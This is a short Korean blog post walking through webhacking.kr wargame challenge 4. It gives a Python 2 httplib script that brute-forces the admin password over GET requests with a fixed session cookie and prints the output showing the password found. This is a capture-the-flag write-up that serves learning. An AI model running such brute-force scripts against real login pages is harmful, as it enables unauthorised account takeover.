[python] 파이썬으로 http 요청하고 request 받기 (webhacking.kr 4 번 풀이)
파이썬 공부도중 httplib 를 활용하는 예제가 나와서 http://webhacking.kr 4번 문제가
GET방식 brute forcing 공격에 관련된 문제였었다.
위와같이 input box 에 id 와 pw를 입력하면 암호는 숫자이며 2000~3000사이의 숫자라는 것을 알려준다.
익스플로잇 코드는 아래와 같다.
from httplib import HTTP for i in range(2000,3000): str_rhttp = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i) # str_rhttp = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i) # print str_rhttp # print "----------------------------------------------------" r = HTTP('webhacking.kr',80) r.putrequest('GET',str_rhttp) r.putheader('Accept','text/html') r.putheader('User-Agent','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko)') r.putheader('Host','webhacking.kr') r.putheader('cookie','PHPSESSID=5caf21723ee515f908e1584a0bf0dd7b') r.endheaders() ## print r.str
EC, EM, headers = r.getreply() # print EC, EM f= r.getfile() html=f.read() # print len(html) if (len(html) == 257) : str(i) # print "fail" else : print str(i) print html print '----------------------------------------------' break |
결과 화면
root@ubuntu:~/k1rha/python# python webhackingNo4_exploit.py 2748 <!-- brute force challenge! id : guest pw : 1234 id : admin pw : 2xxx admin pass range is 2000 ~ 2999 --> <html> <head> <title>Challenge 4</title> </head> <body><center><br><br> <font size=2>hi <b>admin!</b><p><br><br>k1rha : already solved this challenge. (4 , 150 - 2011-09-03 20:14:29) ---------------------------------------------- |